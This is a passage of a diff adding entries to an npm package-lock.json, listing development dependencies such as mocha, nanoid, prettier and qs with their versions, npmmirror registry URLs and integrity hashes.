"chokidar": "3.5.3", + "debug": "4.3.4", + "diff": "5.0.0", + "escape-string-regexp": "4.0.0", + "find-up": "5.0.0", + "glob": "7.2.0", + "he": "1.2.0", + "js-yaml": "4.1.0", + "log-symbols": "4.1.0", + "minimatch": "5.0.1", + "ms": "2.1.3", + "nanoid": "3.3.3", + "serialize-javascript": "6.0.0", + "strip-json-comments": "3.1.1", + "supports-color": "8.1.1", + "workerpool": "6.2.1", + "yargs": "16.2.0", + "yargs-parser": "20.2.4", + "yargs-unparser": "2.0.0" + }, + "bin": { + "_mocha": "bin/_mocha", + "mocha": "bin/mocha.js" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/mocha/node_modules/ansi-colors": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.1.tgz", + "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/mocha/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/minimatch": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-5.0.1.tgz", + "integrity": "sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "node_modules/mocha/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/module-error": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/module-error/-/module-error-1.0.2.tgz", + "integrity": "sha512-0yuvsqSCv8LbaOKhnsQ/T5JhyFlCYLPXK3U2sgV10zoKQwzs/MyfuQUOZQ1V/6OCOJsK/TRgNVrPuPDqtdMFtA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/nanoid": { + "version": "3.3.3", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.3.tgz", + "integrity": "sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/napi-macros": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/napi-macros/-/napi-macros-2.0.0.tgz", + "integrity": "sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg==", + "dev": true + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmmirror.com/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true, + "peer": true + }, + "node_modules/node-addon-api": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/node-addon-api/-/node-addon-api-2.0.2.tgz", + "integrity": "sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==", + "dev": true + }, + "node_modules/node-emoji": { + "version": "1.11.0", + "resolved": "https://registry.npmmirror.com/node-emoji/-/node-emoji-1.11.0.tgz", + "integrity": "sha512-wo2DpQkQp7Sjm2A0cq+sN7EHKO6Sl0ctXeBdFZrL9T9+UywORbufTcTZxom8YqpLQt/FqNMUkOpkZrJVYSKD3A==", + "dev": true, + "peer": true, + "dependencies": { + "lodash": "^4.17.21" + } + }, + "node_modules/node-environment-flags": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/node-environment-flags/-/node-environment-flags-1.0.6.tgz", + "integrity": "sha512-5Evy2epuL+6TM0lCQGpFIj6KwiEsGh1SrHUhTbNX+sLbBtjidPZFAnVK9y5yU1+h//RitLbRHTIMyxQPtxMdHw==", + "dev": true, + "peer": true, + "dependencies": { + "object.getownpropertydescriptors": "^2.0.3", + "semver": "^5.7.0" + } + }, + "node_modules/node-environment-flags/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "peer": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/node-gyp-build": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/node-gyp-build/-/node-gyp-build-4.5.0.tgz", + "integrity": "sha512-2iGbaQBV+ITgCz76ZEjmhUKAKVf7xfY1sRl4UiKQspfZMH2h06SyhNsnSVy50cwkFQDGLyif6m/6uFXHkOZ6rg==", + "dev": true, + "bin": { + "node-gyp-build": "bin.js", + "node-gyp-build-optional": "optional.js", + "node-gyp-build-test": "build-test.js" + } + }, + "node_modules/nofilter": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/nofilter/-/nofilter-1.0.4.tgz", + "integrity": "sha512-N8lidFp+fCz+TD51+haYdbDGrcBWwuHX40F5+z0qkUjMJ5Tp+rdSuAkMJ9N9eoolDlEVTf6u5icM+cNKkKW2mA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/nopt": { + "version": "3.0.6", + "resolved": "https://registry.npmmirror.com/nopt/-/nopt-3.0.6.tgz", + "integrity": "sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==", + "dev": true, + "peer": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/number-to-bn": { + "version": "1.7.0", + "resolved": "https://registry.npmmirror.com/number-to-bn/-/number-to-bn-1.7.0.tgz", + "integrity": "sha512-wsJ9gfSz1/s4ZsJN01lyonwuxA1tml6X1yBDnfpMglypcBRFZZkus26EdPSlqS5GJfYddVZa22p3VNb3z5m5Ig==", + "dev": true, + "peer": true, + "dependencies": { + "bn.js": "4.11.6", + "strip-hex-prefix": "1.0.0" + }, + "engines": { + "node": ">=6.5.0", + "npm": ">=3" + } + }, + "node_modules/number-to-bn/node_modules/bn.js": { + "version": "4.11.6", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.11.6.tgz", + "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==", + "dev": true, + "peer": true + }, + "node_modules/oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmmirror.com/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.12.2", + "resolved": "https://registry.npmmirror.com/object-inspect/-/object-inspect-1.12.2.tgz", + "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==", + "dev": true + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/object.assign/-/object.assign-4.1.0.tgz", + "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", + "dev": true, + "peer": true, + "dependencies": { + "define-properties": "^1.1.2", + "function-bind": "^1.1.1", + "has-symbols": "^1.0.0", + "object-keys": "^1.0.11" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.getownpropertydescriptors": { + "version": "2.1.4", + "resolved": "https://registry.npmmirror.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.4.tgz", + "integrity": "sha512-sccv3L/pMModT6dJAYF3fzGMVcb38ysQ0tEE6ixv2yXJDtEIPph268OlAdJj5/qZMZDq2g/jqvwppt36uS/uQQ==", + "dev": true, + "peer": true, + "dependencies": { + "array.prototype.reduce": "^1.0.4", + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/obliterator": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/obliterator/-/obliterator-2.0.4.tgz", + "integrity": "sha512-lgHwxlxV1qIg1Eap7LgIeoBWIMFibOjbrYPIPJZcI1mmGAI2m3lNYpK12Y+GBdPQ0U1hRwSord7GIaawz962qQ==", + "dev": true + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmmirror.com/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dev": true, + "peer": true, + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ordinal": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/ordinal/-/ordinal-1.0.3.tgz", + "integrity": "sha512-cMddMgb2QElm8G7vdaa02jhUNbTSrhsgAGUz1OokD83uJTwSUn+nKoNoKVVaRa08yF6sgfO7Maou1+bgLd9rdQ==", + "dev": true, + "peer": true + }, + "node_modules/os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/p-limit": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-1.3.0.tgz", + "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", + "dev": true, + "dependencies": { + "p-try": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-locate": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-2.0.0.tgz", + "integrity": "sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==", + "dev": true, + "dependencies": { + "p-limit": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/p-try": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-1.0.0.tgz", + "integrity": "sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/parse-cache-control": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/parse-cache-control/-/parse-cache-control-1.0.1.tgz", + "integrity": "sha512-60zvsJReQPX5/QP0Kzfd/VrpjScIQ7SHBW6bFCYfEP+fp0Eppr1SHhIO5nd1PjZtvclzSzES9D/p5nFJurwfWg==", + "dev": true, + "peer": true + }, + "node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/pbkdf2": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/pbkdf2/-/pbkdf2-3.1.2.tgz", + "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==", + "dev": true, + "dependencies": { + "create-hash": "^1.1.2", + "create-hmac": "^1.1.4", + "ripemd160": "^2.0.1", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==", + "dev": true, + "peer": true + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/prettier/-/prettier-2.7.1.tgz", + "integrity": "sha512-ujppO+MkdPqoVINuDFDRLClm7D78qbDt0/NR+wp5FqEZOoTNAjPHWj17QRhu7geIHJfcNhRk1XVQmF8Bp3ye+g==", + "dev": true, + "peer": true, + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "peer": true + }, + "node_modules/promise": { + "version": "8.2.0", + "resolved": "https://registry.npmmirror.com/promise/-/promise-8.2.0.tgz", + "integrity": "sha512-+CMAlLHqwRYwBMXKCP+o8ns7DN+xHDUiI+0nArsiJ9y+kJVPLFxEaSw6Ha9s9H0tftxg2Yzl25wqj9G7m5wLZg==", + "dev": true, + "peer": true, + "dependencies": { + "asap": "~2.0.6" + } + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmmirror.com/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", + "dev": true, + "peer": true + }, + "node_modules/punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.11.0", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.11.0.tgz", + "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==", + "dev": true, + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmmirror.com/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==", + "dev": true, + "peer": true, + "dependencies": { + "resolve": "^1.1.6" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/recursive-readdir": { + "version": "2.2.2", + "resolved": "https://registry.npmmirror.com/recursive-readdir/-/recursive-readdir-2.2.2.tgz", + "integrity": "sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==", + "dev": true, + "peer": true, + "dependencies": { + "minimatch": "3.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/recursive-readdir/node_modules/minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/reduce-flatten": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/reduce-flatten/-/reduce-flatten-2.0.0.tgz", + "integrity": "sha512-EJ4UNY/U1t2P/2k6oqotuX2Cc3T6nxJwsM0N0asT7dhrtH1ltUxDn4NalSYmPE2rCkVpcf/X6R0wDwcFpzhd4w==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.4.3", + "resolved": "https://registry.npmmirror.com/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz", + "integrity": "sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "functions-have-names": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/req-cwd": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/req-cwd/-/req-cwd-2.0.0.tgz", + "integrity": "sha512-ueoIoLo1OfB6b05COxAA9UpeoscNpYyM+BqYlA7H6LVF4hKGPXQQSSaD2YmvDVJMkk4UDpAHIeU1zG53IqjvlQ==", + "dev": true, + "peer": true, + "dependencies": { + "req-from": "^2.0.0" + 